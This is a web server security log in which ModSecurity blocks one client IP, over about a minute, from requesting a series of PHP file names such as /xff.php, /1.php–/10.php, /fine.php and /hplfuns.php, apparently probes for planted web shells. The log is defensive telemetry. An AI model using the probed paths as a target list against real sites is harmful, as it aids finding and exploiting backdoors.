[Sat Apr 25 22:13:41.773719 2026] [:error] [pid 59896:tid 59919] [client 20.215.66.169:30011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aezMFbLLzhtkd-OXUgAHJwAAAFM"]
[Sat Apr 25 22:13:51.258290 2026] [:error] [pid 59897:tid 59949] [client 20.215.66.169:31000] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aezMH_BrrkdzpEbmK4eRDgAAAJY"]
[Sat Apr 25 22:13:52.470339 2026] [:error] [pid 59898:tid 59959] [client 20.215.66.169:52933] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aezMIB-4vImxb0kbdze1WgAAAMU"]
[Sat Apr 25 22:13:53.538696 2026] [:error] [pid 59896:tid 59914] [client 20.215.66.169:53053] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aezMIbLLzhtkd-OXUgAHQQAAAE4"]
[Sat Apr 25 22:13:54.659194 2026] [:error] [pid 59898:tid 59965] [client 20.215.66.169:45298] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aezMIh-4vImxb0kbdze1XQAAAMs"]
[Sat Apr 25 22:13:56.930147 2026] [:error] [pid 59897:tid 59944] [client 20.215.66.169:45279] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aezMJPBrrkdzpEbmK4eRDwAAAJE"]
[Sat Apr 25 22:13:59.804553 2026] [:error] [pid 59896:tid 59905] [client 20.215.66.169:43626] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aezMJ7LLzhtkd-OXUgAHSQAAAEU"]
[Sat Apr 25 22:14:03.694100 2026] [:error] [pid 59896:tid 59913] [client 20.215.66.169:43630] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aezMK7LLzhtkd-OXUgAHTAAAAE0"]
[Sat Apr 25 22:14:06.880455 2026] [:error] [pid 59896:tid 59920] [client 20.215.66.169:52985] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aezMLrLLzhtkd-OXUgAHUQAAAFQ"]
[Sat Apr 25 22:14:08.160659 2026] [:error] [pid 59898:tid 59964] [client 20.215.66.169:53004] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aezMMB-4vImxb0kbdze1aQAAAMo"]
[Sat Apr 25 22:14:11.593054 2026] [:error] [pid 59896:tid 59924] [client 20.215.66.169:31020] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aezMM7LLzhtkd-OXUgAHYwAAAFg"]
[Sat Apr 25 22:14:13.770929 2026] [:error] [pid 3212:tid 3223] [client 20.215.66.169:53029] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aezMNfg-28TY8_YLtUdNnwAAAQk"]
[Sat Apr 25 22:14:14.534090 2026] [:error] [pid 59896:tid 59908] [client 20.215.66.169:64841] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aezMNrLLzhtkd-OXUgAHcAAAAEg"]
[Sat Apr 25 22:14:15.428511 2026] [:error] [pid 59896:tid 59915] [client 20.215.66.169:43608] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aezMN7LLzhtkd-OXUgAHdwAAAE8"]
[Sat Apr 25 22:14:16.634198 2026] [:error] [pid 3212:tid 3233] [client 20.215.66.169:53015] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aezMOPg-28TY8_YLtUdNpAAAARM"]
[Sat Apr 25 22:14:17.245586 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:52978] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aezMOfg-28TY8_YLtUdNpgAAARg"]
[Sat Apr 25 22:14:17.944412 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:31024] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aezMOfg-28TY8_YLtUdNpwAAAQ0"]
[Sat Apr 25 22:14:18.679716 2026] [:error] [pid 3212:tid 3228] [client 20.215.66.169:52956] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aezMOvg-28TY8_YLtUdNqgAAAQ4"]
[Sat Apr 25 22:14:19.324391 2026] [:error] [pid 3212:tid 3234] [client 20.215.66.169:55499] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aezMO_g-28TY8_YLtUdNrAAAARQ"]
[Sat Apr 25 22:14:20.258909 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:42155] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aezMPPg-28TY8_YLtUdNrQAAAQo"]
[Sat Apr 25 22:14:21.926685 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:52864] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aezMPfg-28TY8_YLtUdNsQAAAQM"]
[Sat Apr 25 22:14:22.787433 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:31035] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aezMPvg-28TY8_YLtUdNswAAAQc"]
[Sat Apr 25 22:14:23.515933 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:42175] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aezMP7LLzhtkd-OXUgAHlwAAAEo"]
[Sat Apr 25 22:14:24.571192 2026] [:error] [pid 59896:tid 59900] [client 20.215.66.169:42167] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aezMQLLLzhtkd-OXUgAHmwAAAEA"]
[Sat Apr 25 22:14:26.035390 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:42113] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aezMQvg-28TY8_YLtUdNtgAAAQ0"]
[Sat Apr 25 22:14:27.524079 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:29953] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aezMQ_g-28TY8_YLtUdNuwAAAQg"]
[Sat Apr 25 22:14:29.382852 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:29958] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aezMRfg-28TY8_YLtUdNvQAAAQo"]
[Sat Apr 25 22:14:31.221828 2026] [:error] [pid 59896:tid 59907] [client 20.215.66.169:30001] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aezMR7LLzhtkd-OXUgAHvAAAAEc"]
[Sat Apr 25 22:14:32.291995 2026] [:error] [pid 59898:tid 59967] [client 20.215.66.169:31038] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aezMSB-4vImxb0kbdze1cwAAAM0"]
[Sat Apr 25 22:14:33.291872 2026] [:error] [pid 59898:tid 59974] [client 20.215.66.169:52880] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aezMSR-4vImxb0kbdze1dQAAANQ"]
[Sat Apr 25 22:14:34.470374 2026] [:error] [pid 59898:tid 59977] [client 20.215.66.169:31036] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aezMSh-4vImxb0kbdze1dwAAANc"]
[Sat Apr 25 22:14:35.590165 2026] [:error] [pid 59898:tid 59959] [client 20.215.66.169:45292] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aezMSx-4vImxb0kbdze1egAAAMU"]
[Sat Apr 25 22:14:37.196467 2026] [:error] [pid 59898:tid 59969] [client 20.215.66.169:30995] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aezMTR-4vImxb0kbdze1ewAAAM8"]
[Sat Apr 25 22:14:37.838931 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:43639] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aezMTfg-28TY8_YLtUdNxAAAAQg"]
[Sat Apr 25 22:14:38.617898 2026] [:error] [pid 3212:tid 3234] [client 20.215.66.169:42170] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aezMTvg-28TY8_YLtUdNxgAAARQ"]
[Sat Apr 25 22:14:39.303075 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:30992] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aezMT_g-28TY8_YLtUdNxwAAARA"]
[Sat Apr 25 22:14:39.869193 2026] [:error] [pid 3212:tid 3225] [client 20.215.66.169:52930] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aezMT_g-28TY8_YLtUdNyAAAAQs"]
[Sat Apr 25 22:14:40.914451 2026] [:error] [pid 3212:tid 3216] [client 20.215.66.169:52878] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aezMUPg-28TY8_YLtUdNyQAAAQI"]
[Sat Apr 25 22:14:41.814847 2026] [:error] [pid 59985:tid 59998] [client 20.215.66.169:52878] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aezMUQF_zDvEhKvyTH7ATAAAAAs"]
[Sat Apr 25 22:14:43.062842 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:45259] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aezMU_g-28TY8_YLtUdNzgAAAQc"]
[Sat Apr 25 22:14:43.815893 2026] [:error] [pid 59985:tid 59995] [client 20.215.66.169:42124] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aezMUwF_zDvEhKvyTH7AVAAAAAg"]
[Sat Apr 25 22:14:44.489447 2026] [:error] [pid 59985:tid 59988] [client 20.215.66.169:31039] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aezMVAF_zDvEhKvyTH7AWAAAAAE"]
[Sat Apr 25 22:14:45.454800 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:42147] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aezMVfg-28TY8_YLtUdN1AAAAQg"]
[Sat Apr 25 22:14:46.259476 2026] [:error] [pid 3212:tid 3228] [client 20.215.66.169:52903] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aezMVvg-28TY8_YLtUdN1gAAAQ4"]
[Sat Apr 25 22:14:47.177406 2026] [:error] [pid 59896:tid 59902] [client 20.215.66.169:52940] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aezMV7LLzhtkd-OXUgAH3wAAAEI"]
[Sat Apr 25 22:14:49.552800 2026] [:error] [pid 59985:tid 59990] [client 20.215.66.169:43588] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aezMWQF_zDvEhKvyTH7AYQAAAAM"]
[Sat Apr 25 22:14:58.078900 2026] [:error] [pid 59985:tid 59998] [client 20.215.66.169:64895] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aezMYgF_zDvEhKvyTH7AeAAAAAs"]
[Sat Apr 25 22:14:59.952428 2026] [:error] [pid 59896:tid 59918] [client 20.215.66.169:42138] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aezMY7LLzhtkd-OXUgAH8wAAAFI"]
[Sat Apr 25 22:15:02.127555 2026] [:error] [pid 59896:tid 59903] [client 20.215.66.169:43638] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aezMZrLLzhtkd-OXUgAH-AAAAEM"]
[Sat Apr 25 22:15:04.415552 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:30006] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aezMaPg-28TY8_YLtUdN4AAAAQM"]
[Sat Apr 25 22:15:05.910791 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:53008] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aezMafg-28TY8_YLtUdN4QAAAQw"]
[Sat Apr 25 22:15:06.613251 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:53037] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aezMavg-28TY8_YLtUdN4gAAAQo"]
[Sat Apr 25 22:15:07.478669 2026] [:error] [pid 59898:tid 59966] [client 20.215.66.169:29984] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aezMax-4vImxb0kbdze1igAAAMw"]
[Sat Apr 25 22:15:08.086283 2026] [:error] [pid 59897:tid 59942] [client 20.215.66.169:42136] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aezMbPBrrkdzpEbmK4eRPAAAAI8"]
[Sat Apr 25 22:15:09.562140 2026] [:error] [pid 3212:tid 3215] [client 20.215.66.169:64834] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aezMbfg-28TY8_YLtUdN6gAAAQE"]
[Sat Apr 25 22:15:10.435793 2026] [:error] [pid 3212:tid 3233] [client 20.215.66.169:52913] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aezMbvg-28TY8_YLtUdN7AAAARM"]
